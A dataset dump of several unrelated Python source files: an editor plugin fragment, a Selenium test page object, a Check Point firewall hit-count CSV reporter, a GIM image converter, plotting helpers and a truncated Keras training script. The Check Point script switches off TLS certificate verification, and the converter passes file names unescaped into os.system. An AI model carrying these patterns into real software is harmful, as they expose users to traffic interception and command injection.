scope names for each character in a region.\n\n\t\tArgs:\n\t\t    view: The containing view of the given region.\n\t\t    reg: The region to look in.\n\t\tReturns:\n\t\t    scope_spans: A list of [idx, len, scope_names].\n\t\t\"\"\"\n\t\tscope_spans = []\n\n\t\tlast = []\n\t\tstart = 0\n\t\tcnt = 1\n\t\tfor i in range(reg.a, reg.a+reg.size()+1):\n\t\t\tscope_names = view.scope_name(i).split(\" \")\n\t\t\tscope_names = list(filter(lambda s: s != \"\", scope_names))\n\t\t\tif i == reg.a:\n\t\t\t\tlast = scope_names\n\t\t\t\tcnt = 1\n\t\t\telif last == scope_names:\n\t\t\t\tcnt += 1\n\t\t\telse: # last != scope_names\n\t\t\t\tscope_spans.append([start, cnt, last])\n\t\t\t\tstart = i - reg.a\n\t\t\t\tlast = scope_names\n\t\t\t\tcnt = 1\n\t\tscope_spans.append([start, cnt, last])\n\n\t\treturn scope_spans\n\n\tdef get_pos(self, view, row, col):\n\t\tlines = view.lines(sublime.Region(0, view.size()))\n\t\t# print(f\"lines[0-{len(lines)-1}], row: {row}, size: {view.size()}\")\n\t\tline = lines[row-1]\n\t\tpos = line.a+col-1\n\t\treturn pos\n\n\tdef move_to(self, view, row, col):\n\t\tpos = self.get_pos(view, row, col)\n\n\t\tview.window().focus_view(view)\n\t\tview.sel().clear()\n\t\tview.sel().add(pos)\n\t\tview.show_at_center(pos)\n\n\tdef is_ctrl_pressed(self):\n\t\t\"\"\" Checks if cntl is being held down \"\"\"\n\t\t# from uiautomation\n\t\t# https://github.com/yinkaisheng/Python-UIAutomation-for-Windows/blob/master/uiautomation/uiautomation.py\n\t\ttry:\n\t\t\timport ctypes\n\t\t\tstate = ctypes.windll.user32.GetAsyncKeyState(0x11)\n\t\t\treturn bool(state & 0x8000)\n\t\texcept Exception as e:\n\t\t\tpass\n\t\treturn False\n\n\tdef on_navigate(self, href, view, sym_locs):\n\t\t# parse the href\n\t\tparts = href.split(':')\n\t\taction = parts[0]\n\t\tindex = int(parts[1])\n\t\tsym_loc = sym_locs[index]\n\n\t\t# find the view with the given symbol\n\t\tv2 = None\n\t\tfor win in sublime.windows():\n\t\t\tv2 = win.find_open_file(sym_loc.path)\n\t\t\tif v2 != None:\n\t\t\t\tbreak\n\n\t\tif action == \"close\":\n\t\t\tview.erase_regions(\"hd_hover\")\n\t\t\tview.hide_popup()\n\t\telse: # \"goto\"\n\t\t\topen_as_transient = self.setting(\"open_hyperlink_as_transient\")\n\t\t\tif self.is_ctrl_pressed():\n\t\t\t\topen_as_transient = not open_as_transient\n\n\t\t\tif not open_as_transient:\n\t\t\t\tif v2 != None:\n\t\t\t\t\tself.move_to(v2, sym_loc.row, sym_loc.col)\n\t\t\t\telse:\n\t\t\t\t\tflags = 1 # encoded position\n\t\t\t\t\tv2 = sublime.active_window().open_file(f\"{sym_loc.path}:{sym_loc.row}:{sym_loc.col}\", flags=flags)\n\t\t\telse:\n\t\t\t\tflags = 1+16+32 # encoded position, semi-transient, add to selection\n\t\t\t\tv2 = sublime.active_window().open_file(f\"{sym_loc.path}:{sym_loc.row}:{sym_loc.col}\", flags=flags)\n","repo_name":"gladclef/HoverDocs","sub_path":"HoverDocs.py","file_name":"HoverDocs.py","file_ext":"py","file_size_in_byte":31707,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"}
{"seq_id":"25845167885","text":"import math\nfrom selenium.common.exceptions import NoAlertPresentException\nfrom .locators import ProductPageLocators\nfrom .base_page import BasePage\n\n\nclass ProductPage(BasePage):\n\n    def add_product_to_basket(self):\n        \"\"\"\n        Проверка нажатия на кнопку ADD_TO_BASKET_BUTTON\n        Ожидаемый результат:\n        1)Сообщение о том, что товар добавлен в корзину. Название товара в сообщении должно совпадать с тем товаром, который вы действительно добавили.\n        2)Сообщение со стоимостью корзины. Стоимость корзины совпадает с ценой товара.\n        \"\"\"\n        self.should_be_name_of_product()\n        self.should_be_price_of_product()\n        self.should_be_add_to_basket_button()\n\n        add_to_busket_button = self.browser.find_element(*ProductPageLocators.BTN_ADD_TO_BASKET)\n        add_to_busket_button.click()\n\n        self.solve_quiz_and_get_code()\n        self.should_be_success_message()\n        self.compare_basket_and_product_price()\n\n    def should_be_add_to_basket_button(self):\n        assert self.browser.find_element(*ProductPageLocators.BTN_ADD_TO_BASKET), \"Add to basket button not presented\"\n\n    def should_be_name_of_product(self):\n        assert self.browser.find_element(*ProductPageLocators.PRODUCT_NAME), \"Name of product don't found\"\n\n    def should_be_price_of_product(self):\n        assert self.browser.find_element(*ProductPageLocators.PRODUCT_PRICE), \"Product Price not found\"\n\n    def should_be_success_message(self):\n        # Проверка выхода сообщения что товар добавлен\n        product_name = self.browser.find_element(*ProductPageLocators.PRODUCT_NAME).text\n        message = self.browser.find_element(*ProductPageLocators.SUCCESS_MESSAGE).text\n\n        assert product_name in message, \"Product name not found in message\"\n\n    def compare_basket_and_product_price(self):\n        # Сравнение цен товара и пустой корзины\n        product_price = self.browser.find_element(*ProductPageLocators.PRODUCT_PRICE).text\n        basket_price = self.browser.find_element(*ProductPageLocators.BASKET_PRICE).text\n\n        assert product_price == basket_price, \"Product price and basket price is not equal\"\n\n    def should_not_be_success_message(self):\n        assert self.is_not_element_present(*ProductPageLocators.SUCCESS_MESSAGE), \\\n            \"Success message is presented, but should not be\"\n\n    def should_is_disappeared(self):\n        assert self.is_disappeared(*ProductPageLocators.SUCCESS_MESSAGE), \\\n            \"The success message does not disappear, but should\"\n\n    def solve_quiz_and_get_code(self):\n        # Для решения задачки внутри алерта\n        alert = self.browser.switch_to.alert\n        x = alert.text.split(\" \")[2]\n        answer = str(math.log(abs((12 * math.sin(float(x))))))\n        alert.send_keys(answer)\n        alert.accept()\n        try:\n            alert = self.browser.switch_to.alert\n            alert_text = alert.text\n            print(f\"Your code: {alert_text}\")\n            alert.accept()\n        except NoAlertPresentException:\n            print(\"No second alert presented\")\n","repo_name":"avaoleh/stepik_selenium_final","sub_path":"pages/product_page.py","file_name":"product_page.py","file_ext":"py","file_size_in_byte":3377,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"30496118774","text":"from __future__ import print_function\nimport json, http.client, ssl\nimport sys, os, re\nimport getpass\nfrom datetime import datetime, date\nimport datetime\nimport csv\n\n\"\"\"\nAuthor: Joe Audet\nDate Created: 2022NOV02\nLast Modified: 2023FEB23\nVer: 0.9\n\nUsage:\nThis script will login to a SMS (Not MDS at this time - coming soon) and retrieve all of the non-shared and non-inline access policy layers, then present \na menu where the user can select a policy (or all), which will create a CSV output for each selected rulebase\n\"\"\"\n\n#Header line to insert into the top of each CSV\ncsv_header=[\"LAYER_NAME\",\"RULE_NUMBER\",\"RULE_NAME\",\"HIT_COUNT\",\"DATE_LAST_HIT\",\"DAYS_SINCE_LAST_HIT\",\"RULE_ENABLED\",\"MODIFIED_DATE\",\"MODIFIED_BY\",\"RULE_UID\"]\n\n#Get today's date\ntodays_date = date.today()\n\npolicy_info = []\nmgmt_server = ''\nall_policies_object = {\"name\" : \"Collect All Policies\", \"uid\" : \"n/a\"}\nall_rules_object = []\nexit_object = {\"name\" : \"Exit\", \"uid\" : \"n/a\"}\nsession_id = ''\nlast_hit_empty='No last hit to show date for'\nfirst_hit_empty='No first hit to show date for'\nlast_delta_empty='No last hit to compare'\nfirst_delta_empty='No first hit to compare'\n\n#csv_file_name='demo_csv_output.csv'\n\ndef main():\n  # getting server / login details from the user\n  global mgmt_server\n  mgmt_server = input(\"Enter server IP address [Press ENTER for localhost]:\")\n  if mgmt_server == '':\n    mgmt_server = '127.0.0.1'\n  print(f'Connecting to Management Server IP: {mgmt_server}')\n\n  username = input(\"Enter username (Press ENTER to use admin): \")\n  if username == '':\n    username = 'admin'\n\n  if sys.stdin.isatty():\n    password = getpass.getpass(f\"Enter password for {username}: \")\n  else:\n    print(\"Attention! Your password will be shown on the screen!\")\n    password = input(f\"Enter password for {username}: \")\n\n  #Login to mgmt server - store session ID for subsequent calls and logout\n  global session_id\n  session_id = login(username,password)\n\n  create_interactive_access_policy_menu()\n\n# Display a list of all access policies for the user to select from, including an option for 'All Policies' and an 'Exit' option\ndef create_interactive_access_policy_menu():\n  #Create list of non shared layers name and uid fields (shared layers will be accessed by their UID which is in key 'inline-layer' within the 'show-access-rulebase' output)\n  global policy_info\n  policy_info = get_non_shared_access_layer_names(session_id)\n  clear_console()\n  print_policy_names()\n\n  while True:\n    selected_policy_number = user_selected_policy_number()\n    try:\n        policy_info[selected_policy_number]\n        if (policy_info[selected_policy_number][\"name\"] == 'Exit'):\n          logout(session_id)\n          break\n        elif (policy_info[selected_policy_number][\"name\"] == all_policies_object[\"name\"]):\n          for policy in policy_info:\n              if policy[\"name\"] == all_policies_object[\"name\"] or policy[\"name\"] == exit_object[\"name\"]:\n                continue\n              else:\n                policy_name = policy['name'].replace(' ','_')\n                print(f\"Processing access-layer: {policy_name}\")\n                loop_policy_rulebase(policy[\"uid\"], policy_name)\n          print_policy_names()\n          continue\n        else:\n          #clear_console()\n          policy_name = policy_info[selected_policy_number]['name'].replace(' ','_')\n          print(f\"Processing access-layer: {policy_name}\")\n          loop_policy_rulebase(policy_info[selected_policy_number][\"uid\"], policy_name)\n          print_policy_names()\n          continue\n\n    except ValueError:\n      clear_console()\n      print(f\"You entered {selected_policy_number} which is an invalid selection, please enter a valid policy number\")\n      print_policy_names()\n      continue\n    except IndexError:\n      clear_console()\n      print(f\"You entered {selected_policy_number} which is an invalid selection, please enter a valid policy number\")\n      print_policy_names()\n      continue\n\ndef get_non_shared_access_layer_names(sid):\n  access_layer_names = [all_policies_object]\n  payload = json.dumps({\n    \"details-level\": \"full\"\n  })\n  # Get names of access layers - store for iteration\n  response = api_call(mgmt_server, 'show-access-layers', payload, sid)\n  data = response.read()\n  if response.status == 200:\n    response_data = json.loads(data.decode('utf-8'))\n    for accesslayer in response_data['access-layers']:\n      if (accesslayer['shared']):\n        print('Skipping Shared Layer - {}'.format(accesslayer[\"name\"]))\n        continue\n      if 'parent-layer' in accesslayer:\n        print('Skipping Inline Layer - {}'.format(accesslayer[\"name\"]))\n        continue\n      access_layer_names.append({\"name\": accesslayer[\"name\"], \"uid\" : accesslayer[\"uid\"]})\n\n    #Add this as final entry for users to cleanly close out of the loop\n    access_layer_names.insert(len(access_layer_names),exit_object)\n    return access_layer_names\n  else:\n    print('Error occurred while trying to show-access-layers: {}'.format(data.decode('utf-8')))\n    logout(sid)\n    sys.exit()  \n\ndef user_selected_policy_number():\n  while True:\n      policy_num = input(\"Please enter the number of the policy to report hit usage on: \")\n      if (check_user_input(policy_num, 'int')):\n        return int(policy_num)\n\ndef check_user_input(input, type):\n  if type == 'int':\n    try:\n      # Convert it into integer\n      val = int(input)\n      return True\n    except ValueError:\n      clear_console()\n      print(f\"You entered {input} which is an invalid selection, please enter a valid policy number from the list\\n\")  \n      print_policy_names()\n      return False\n\ndef clear_console():\n  os.system('clear')\n\ndef print_policy_names():\n  print(\"\\n===== Policy Rule Hit Reporting =====\")\n  policy_counter = 0\n  for policy in policy_info:\n      print(str(policy_counter) + \" - \" + policy[\"name\"])\n      policy_counter+=1\n  print(\"\\n\")\n\ndef convert_datestring_to_date(datestr):\n  str = re.search(r'\\d{4}-\\d{2}-\\d{2}', datestr)\n  return datetime.datetime.strptime(str.group(), '%Y-%m-%d').date()\n\ndef loop_policy_rulebase(policyuid, policy_name):\n  finished = False  # will become true after getting all the data\n  #all_objects = {}  # accumulate all the objects from all the API calls\n  global all_rules_object\n  all_rules_object = []\n  all_rules_object.append(csv_header)\n  iterations = 0  # number of times we've made an API call\n  limit = 50 # page size to get for each api call\n  offset = 0 # skip n objects in the database\n  payload = {}\n\n  payload = json.dumps({\"limit\": limit, \"offset\": iterations * limit + offset, \"uid\" : policyuid, \"details-level\" : \"standard\", \"show-hits\" : True})\n  response = api_call(mgmt_server, \"show-access-rulebase\", payload, session_id)\n  response_data = response.read()\n\n  if response.status == 200:\n    response_data = json.loads(response_data.decode('utf-8'))\n    loop_rules(response_data,'','')\n\n    while not finished:\n      total_objects = response_data['total']  # total number of objects\n      received_objects = response_data['to']  # number of objects we got so far\n\n      if received_objects == total_objects:\n        break\n\n      iterations += 1\n      \n      payload = json.dumps({\"limit\": limit, \"offset\": iterations * limit + offset, \"uid\" : policyuid, \"details-level\" : \"standard\", \"show-hits\" : True})\n      response = api_call(mgmt_server, \"show-access-rulebase\", payload, session_id)\n      response_data = response.read()\n      response_data = json.loads(response_data.decode('utf-8'))\n      loop_rules(response_data,'','')\n    \n    print_rules(policy_name)\n\n  else:\n    print('Error occurred while trying to show-access-rulebase: {}'.format(response_data.decode('utf-8')))\n\ndef loop_rules(data, parent_rule_number, policy_name):\n  #Due to how access-sections work, we need to store the policy name from the access-rulebase object and pass it back if an access-section is present when\n  #we loop through the sub-array because the nested object has no copy of the rulebase name to reference\n  if not policy_name:\n    policy_name = data['name']\n  global all_rules_object\n  for access_rule in data['rulebase']:\n    if (access_rule['type'] == 'access-section'):\n      #If an access-section is present it output the rules of the section as an array within the object, so we have to interate that sub-array to print those rules\n      loop_rules(access_rule,'',policy_name)\n    else:\n      if 'name' in access_rule:\n        rule_name = access_rule['name'].replace('\\n',' ')\n      else:\n        rule_name ='Empty Rule Name'\n\n      if 'last-date' in access_rule['hits']:\n        last_hit_date = convert_datestring_to_date(access_rule['hits']['last-date']['iso-8601'])\n        last_delta=str((todays_date - last_hit_date).days)\n        #first_hit_date = convert_datestring_to_date(access_rule['hits']['first-date']['iso-8601'])\n        #first_delta=str((todays_date - first_hit_date).days)\n      else:\n        last_hit_date = last_hit_empty\n        last_delta = last_delta_empty\n        #first_hit_date = first_hit_empty\n        #first_delta = first_delta_empty\n      \n      if 'inline-layer' in access_rule:\n        is_layer='Yes'\n        #layer_uid=access_rule['inline-layer']\n      else:\n        is_layer='No'\n        #layer_uid='Not inline layer'\n\n      if parent_rule_number:\n        rule_number = str(parent_rule_number) + '.' + str(access_rule['rule-number'])\n      else:\n        rule_number = str(access_rule['rule-number'])\n\n      last_modified_date = convert_datestring_to_date(access_rule['meta-info']['last-modify-time']['iso-8601'])\n\n#Orig\n#      if (is_layer == 'Yes'):\n#        # Retrieve inline-layer info and number it to match what is in smartconsole:\n#        all_rules_object.append([policy_name,rule_number,rule_name,str(access_rule['hits']['value']),str(last_hit_date),last_delta,access_rule['enabled'],last_modified_time,access-rule['meta-info']['last-modifier']])\n#        get_inline_layer_info(access_rule['inline-layer'], session_id, rule_number)\n#      else:\n#        all_rules_object.append([policy_name,rule_number,rule_name,str(access_rule['hits']['value']),str(last_hit_date),last_delta,access_rule['enabled'],last_modified_time,access-rule['meta-info']['last-modifier']])\n      all_rules_object.append([policy_name,rule_number,rule_name,str(access_rule['hits']['value']),str(last_hit_date),last_delta,access_rule['enabled'],last_modified_date,access_rule['meta-info']['last-modifier'],access_rule['uid']])\n      if (is_layer == 'Yes'):\n        get_inline_layer_info(access_rule['inline-layer'], session_id, rule_number)\n\n    \ndef get_inline_layer_info(uid,sid,rulenumber):\n  finished = False  # will become true after getting all the data\n  iterations = 0  # number of times we've made an API call\n  limit = 50 # page size to get for each api call\n  offset = 0 # skip n objects in the database\n  payload = json.dumps({\"limit\": limit, \"offset\": iterations * limit + offset, \"uid\" : uid, \"details-level\" : \"standard\", \"show-hits\" : True})\n  response = api_call(mgmt_server, 'show-access-rulebase', payload, sid)\n  response_data = response.read()\n  if response.status == 200:\n    response_data = json.loads(response_data.decode('utf-8'))\n    loop_rules(response_data,rulenumber,'')\n\n    while not finished:\n      total_objects = response_data['total']  # total number of objects\n      received_objects = response_data['to']  # number of objects we got so far\n\n      if received_objects == total_objects:\n        break\n\n      iterations += 1\n      \n      payload = json.dumps({\"limit\": limit, \"offset\": iterations * limit + offset, \"uid\" : uid, \"details-level\" : \"standard\", \"show-hits\" : True})\n      response = api_call(mgmt_server, \"show-access-rulebase\", payload, session_id)\n      response_data = response.read()\n      response_data = json.loads(response_data.decode('utf-8'))\n      loop_rules(response_data,rulenumber,'')\n      \n  else:\n    print('Error occurred while trying to inline layer: {}'.format(response_data.decode('utf-8')))\n\ndef print_rules(policy_name):\n\n  directory_path = os.getcwd()\n\n  csv_file_name= policy_name+\"_hit_count_report\"+'_{:%Y%b%d_%H%M}'.format(datetime.datetime.now())+\".csv\"\n\n  if os.path.exists(csv_file_name):\n    os.remove(csv_file_name)\n\n  with open(csv_file_name, 'w') as file:\n    writer = csv.writer(file, dialect='excel')\n    writer.writerows(all_rules_object)\n  \n  print(f\"Created CSV output file: {directory_path}/{csv_file_name}\")\n\ndef login(username,password):\n  sessnam = username+'_{:%Y%b%d%H%M%S}'.format(datetime.datetime.now())\n  payload = json.dumps({\n    'user': username,\n    'password': password,\n    'session-name' : sessnam\n  })\n\n  response = api_call(mgmt_server, 'login', payload, '')\n  data = response.read()\n\n  if response.status == 200:\n    response_data = json.loads(data.decode('utf-8'))\n    session_id=response_data['sid']\n    print('Login Successful - Session ID: {}'.format(session_id))\n    return session_id\n  else:\n    print('Error occurred while trying to login: {}'.format(data.decode('utf-8')))\n    sys.exit() \n\ndef logout(sid):\n  payload = json.dumps({})\n  response = api_call(mgmt_server, 'logout', payload, sid)\n  data = response.read()\n\n  if response.status == 200:\n    response_data = json.loads(data.decode('utf-8'))\n    logout_message=response_data['message']\n    print('Logout of Session ID: ' + sid + ' ' + logout_message)\n  else:\n    print('Error occurred while trying to logout: {}'.format(data.decode('utf-8')))\n    sys.exit()\n\ndef api_call(ip_addr, command, json_payload, sid):\n  #Use SSLContect object to disable certificate verification allowing self signed certs\n  context = ssl.SSLContext()\n  context.check_hostname = False\n  context.verify_mode = ssl.CERT_NONE\n  conn = http.client.HTTPSConnection(ip_addr, context=context )\n\n  if command == 'login':\n    request_headers = {'Content-Type' : 'application/json'}\n  else:\n    request_headers = {'Content-Type' : 'application/json', 'X-chkp-sid' : sid}\n\n  #We have left the vX.X out of the API call to ensure it uses the latest version\n  conn.request(\"POST\", \"/web_api/{}\".format(command), json_payload, request_headers)\n  res = conn.getresponse()\n  return res\n\nif __name__ == \"__main__\":\n    main()","repo_name":"joeaudet/chkp_scripts_ja","sub_path":"hit_count_reporting/chkp_hit_count_to_csv_reporting.py","file_name":"chkp_hit_count_to_csv_reporting.py","file_ext":"py","file_size_in_byte":14140,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"}
{"seq_id":"36389327738","text":"# Author: Bunkai \r\n# This method was eventually deprecated for the project but it serves as Proof of Concept and learning material\r\n\r\n# Python script to convert GIM files to PNG\r\n\r\nimport os\r\nimport sys\r\n\r\n# folder path\r\ndir_path = \"./\"\r\n\r\n# creates folder to save new files\r\nos.system(\"mkdir PNG \\n\")\r\n\r\n# loop through files\r\nfor i in os.listdir(dir_path):\r\n\tif i.endswith('.GIM') :\r\n\t\tinput = str(i)\r\n\t\toutput = input + \".png\"\r\n\t\tos.system(\"gimconv \" + input + \" -o \" + \"./PNG/\" + output + \"\\n\")\r\n\r\nprint(\"files converted\")\r\n","repo_name":"Bunkai9448/digipet_PSP","sub_path":"SCRIPTS_python/gim2png.py","file_name":"gim2png.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"18"}
{"seq_id":"20146456757","text":"\nimport math\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom matplotlib import axes as a\nimport plottool.plotParameter as Pm\ndef cminch(cm: float) -> float:\n        return cm * 0.3937\n\ndef Eaxis(ax: a.Axes, axis, EneScale, Ecenter=0, detailgrid=False, MinorScale=-1, Elabel=\"$E-E_{\\mathrm{F}}$ [eV]\"):\n# EneScale: 目盛間隔, 0eV中心で上に何目盛, 下に何目盛表示するかを指定する \n#           ex) [0.5, 4, 4] ならEmax:2eV, Emin:-2eV, 目盛間隔0.5eV\n# Ecenterで中心座標を0eVから動かせる\n\n    Emax = (EneScale[0] * EneScale[1]) + Ecenter\n    Emin = (EneScale[0] * EneScale[2] * -1) + Ecenter\n    Eticks = np.arange(Emin, Emax+EneScale[0], EneScale[0])\n    #Ecenter, EneScaleの目盛間隔から小数点何桁まで表示するか(dig)決める\n    dig = 0\n    if '.' in str(EneScale[0]): \n        dig = max([ dig, len(str(EneScale[0]).split('.')[1]) ])\n    if '.' in str(Ecenter): \n        dig = max([ dig, len(str(Ecenter).split('.')[1]) ])\n    Etickslabel = [ \"{lb:.{d}f}\".format(lb=x, d=dig) for x in Eticks ]\n\n    ax.tick_params(axis=axis, pad=Pm.E_ticks_pad)\n    eval(\"ax.set_{}lim\".format(axis))(Emin, Emax)\n    eval(\"ax.set_{}ticks\".format(axis))(Eticks)\n    eval(\"ax.set_{}ticklabels\".format(axis))(Etickslabel)\n    eval(\"ax.set_{}label\".format(axis))(Elabel, \\\n         fontdict=Pm.fontdict_Elabel, labelpad=Pm.E_label_pad)\n\n    #FermiLine(Ecenterに太線を引く)\n    ax.grid(visible=True, axis=axis, which='major', \\\n            lw=Pm.Fermi_line_width, c=\"black\")\n    gridlines=eval(\"ax.get_{}gridlines\".format(axis))()\n    for i, grid in enumerate(gridlines):\n        if i != EneScale[2] :\n            if detailgrid : grid.set_linewidth(Pm.detail_majorgrid_lw)\n            else          : grid.set_linewidth(0)\n\n    #DetailGrid(Trueの時, majorとminorgridを追加)\n    if detailgrid :\n        if MinorScale == -1: MinorScale = EneScale[0]/5\n        Eminorticks = np.arange(Emin, Emax+MinorScale, MinorScale)\n        ax.grid(visible=True, axis=axis, which='minor', \\\n                lw=Pm.detail_minorgrid_lw, c='gray')\n        eval(\"ax.set_{}ticks\".format(axis))(Eminorticks, minor=True)\n        eval(\"ax.set_{}ticks\".format(axis))(Eminorticks, minor=True)\n\ndef Kaxis(ax: a.Axes, axis, kpoints):\n#kpointsは次のようなlist: [['Γ', 'L', 'X'...], [0.0, 2.3, 5.2...]]\n    Kmax = kpoints[1][-1]\n    Kmin = kpoints[1][0]\n    Kticks = kpoints[1]\n    Ktickslabel = kpoints[0]\n\n    ax.tick_params(axis=axis, pad=Pm.K_ticks_pad, width=0, length=0 )\n    ax.grid(visible=True, axis=axis, which='major', lw=Pm.K_line_width, c=\"black\")\n    eval(\"ax.set_{}lim\".format(axis))(Kmin, Kmax)\n    eval(\"ax.set_{}ticks\".format(axis))(Kticks, minor=False)\n    eval(\"ax.set_{}ticklabels\".format(axis))(Ktickslabel, minor=False, \\\n                                             fontdict=Pm.fontdict_Kticks)\n\ndef Daxis(ax: a.Axes, axis, EneScale, values, Ecenter=0):\n    Emax = EneScale[0] * EneScale[1] + Ecenter\n    Emin = EneScale[0] * EneScale[2] * -1 + Ecenter\n\n    #---Dmax---#\n    visible_dvalue = []\n    for value in values:\n        for i in range(len(value[0])):\n            if Emin <= value[0][i] <= Emax : \n                visible_dvalue.append(value[1][i])\n    #Dmaxを丁度3目盛で割り切れるようにうまく決める\n    #目盛サイズは最小でも0.01になる\n    Dmax = max(visible_dvalue)\n    if Dmax > 2:\n        Dmax = int(math.ceil(Dmax/3)*3)\n        Dscale = int(Dmax/3)\n    elif Dmax > 0.2 :\n        Dmax = math.ceil(Dmax*10/3)*3/10\n        Dscale = Dmax/3\n    elif Dmax > 0.02 :\n        Dmax = math.ceil(Dmax*100/3)*3/100\n        Dscale = Dmax/3\n    else :\n        Dmax = 0.03\n        Dscale = 0.01\n\n    Dmin = 0\n    Dticks = np.arange(Dmin, Dmax+Dscale, Dscale)\n\n    ax.tick_params(axis=axis, pad=Pm.D_ticks_pad)\n    eval(\"ax.set_{}lim\".format(axis))(Dmin, Dmax)\n    eval(\"ax.set_{}ticks\".format(axis))(Dticks, minor=False)\n    eval(\"ax.set_{}ticklabels\".format(axis))(Dticks, minor=False)\n\ndef read_scf_out(file_scf_out):\n    TotalEne=FermiEne=Totalmag=Absolutemag=\"\"\n    with open(file_scf_out, 'r') as f_scf_out:\n        for line in f_scf_out.readlines():\n            if \"!\" in line:\n                TotalEne = float(line.split()[4])\n            elif \"Fermi\" in line:\n                FermiEne = float(line.split()[4])\n            elif \"total magnetization\" in line:\n                Totalmag = float(line.split()[3])\n            elif \"absolute magnetization\" in line:\n                Absolutemag = float(line.split()[3])\n    return TotalEne, FermiEne, Totalmag, Absolutemag\n\ndef MakeAxesTable(ax_column_width, ax_row_height, height=Pm.height, width=Pm.width, margin=Pm.margin, lmargin=1, header=\"\", Title=\"\"):\n#ax_column_width, ax_row_heightは比で記述\n#ax_column_widthとax_row_heightはtableの列,行の幅,高さの配列\n#height, widthは全体の用紙の大きさで単位はcm\n#header, marginもすべてcmで指定\n    if header == \"\": \n        if Title != \"\": header = Pm.header\n        else : header = margin\n    fig = plt.figure(figsize=(cminch(width),cminch(height)))\n    cn = len(ax_column_width)\n    rn = len(ax_row_height)\n\n    #sw, sh:: axes_sum_width,axes_sum_height, axesのwidth,heightの合計(cm単位)\n    #wrate, hrate:: axesの長さ比の合計\n    sw = width - margin * (cn+1) - lmargin \n    sh = height - margin * rn - header\n    wrate = sum(ax_column_width)\n    hrate = sum(ax_row_height)\n    if sw * hrate >= sh * wrate:\n        cmrate = sh/hrate\n        rlmargin = (sw - wrate * cmrate)/2\n        tbmargin = 0\n    elif sh * wrate > sw * hrate:\n        cmrate = sw/wrate\n        rlmargin = 0\n        tbmargin = (sh - hrate * cmrate)/2\n\n    #----- Titleの作成 -----#\n    header_ycenter = (height - header / 2) / height\n    fig.text(0.5, header_ycenter, Title, ha='center', va='center', \\\n             fontdict=Pm.fontdict_title, linespacing=1.5)\n \n    #----- Axesの追加 -----#\n    ax = [[0] * cn  for i in [0] * rn]\n    for i in range(rn):\n        for j in range(cn):\n            x0 = (sum(ax_column_width[:j])*cmrate+margin*(j+1)+rlmargin+lmargin)/width\n            y0 = (sum(ax_row_height[i+1:])*cmrate+margin*(rn-i)+tbmargin)/height\n            w = ax_column_width[j]*cmrate/width\n            h = ax_row_height[i]*cmrate/height\n            ax[i][j] = fig.add_axes([ x0, y0, w, h ])\n\n    return fig, ax\n\n","repo_name":"YudaiTerao/plottool","sub_path":"plottool/plotUtils.py","file_name":"plotUtils.py","file_ext":"py","file_size_in_byte":6333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"24777557991","text":"import os\n\nimport tensorflow.keras.backend as K\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom keras.models import Sequential, load_model\nfrom keras.layers import Dense, Dropout\nfrom keras.regularizers import l2\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.utils import shuffle\nfrom keras import callbacks\nimport sys\nsys.path.append(\"....\")\nfrom utils.load_data import load_data\nfrom utils.utils import add_experiment, save_experiments, generate_indices, model_evaluation,\\\n                        experiment_results_summary, generate_prediction_plots\n\n\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"2\"\nnp.random.seed(0)\n\nX, y, dataset, seizure = load_data()\n\n# -----------------------------------------------------------------------------\n# DATA PREPROCESSING\n# -----------------------------------------------------------------------------\n\"\"\" Select training set and test set \"\"\"\nX_train = np.concatenate((X[2], X[3]), axis=0)\ny_train = np.concatenate((y[2], y[3]), axis=0)\nX_test = X[1]\ny_test = y[1]\n\nn_positive = np.sum(y_train)\nn_negative = len(y_train) - n_positive\n\n\"\"\" Normalize data \"\"\"\nscaler = StandardScaler()\nscaler.fit(dataset)\nX_train = scaler.transform(X_train)\nX_test = scaler.transform(X_test)\n\n\"\"\" Shuffle training data \"\"\"\nX_train_shuffled, y_train_shuffled = shuffle(X_train, y_train)\n\nprint(X_train.shape, y_train.shape)\nprint(X_test.shape, y_test.shape)\n\n# -----------------------------------------------------------------------------\n# MODEL BUILDING, TRAINING AND TESTING\n# -----------------------------------------------------------------------------\n\"\"\" Build the model \"\"\"\nnum = 12\nexp = \"exp\" + str(num)\nfile_name = exp + \"_dense.txt\"\n\nepochs = 20\nbatch_size = 32\nunits = 512\nreg = l2(5e-4)\nactivation = 'tanh'\nclass_weight = {0: (len(y_train)/n_negative), 1: (len(y_train)/n_positive)}\n\nmodel = Sequential()\nmodel.add(Dense(units, activation=activation, kernel_regularizer=reg, batch_input_shape=(batch_size, 90)))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(units, activation=activation, kernel_regularizer=reg))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(256, activation=activation, kernel_regularizer=reg))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(1, activation='sigmoid', kernel_regularizer=reg))\nmodel.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])\nmodel.summary()\n\n\"\"\" Fit the model \"\"\"\ncallbacks = [\n    callbacks.TensorBoard(log_dir=f\".logs/{exp}\"),\n]\nmodel.fit(X_train_shuffled, y_train_shuffled,\n          batch_size=batch_size,\n          epochs=epochs,\n          class_weight=class_weight,\n          callbacks=callbacks)\n\n\"\"\" Save and reload the model \"\"\"\nMODEL_PATH = \"models/\"\nmodel.save(f\"{MODEL_PATH}dense_model{num}.h5\")\n# del model\n# model = load_model(f\"{MODEL_PATH}dense_model{num}.h5\")\n\n# -----------------------------------------------------------------------------\n# RESULTS EVALUATION\n# -----------------------------------------------------------------------------\n\"\"\" Predictions on training data \"\"\"\nprint(\"Predicting values on training data...\")\npredictions_train = model.predict(X_train, batch_size=batch_size).flatten()\nloss_train, accuracy_train, roc_auc_train, recall_train = model_evaluation(predictions=predictions_train,\n                                                                           y=y_train)\nprint(\"Results on training data\")\nprint(f\"\\tLoss:    \\t{loss_train:.4f}\")\nprint(f\"\\tAccuracy:\\t{accuracy_train:.4f}\")\nprint(f\"\\tROC-AUC: 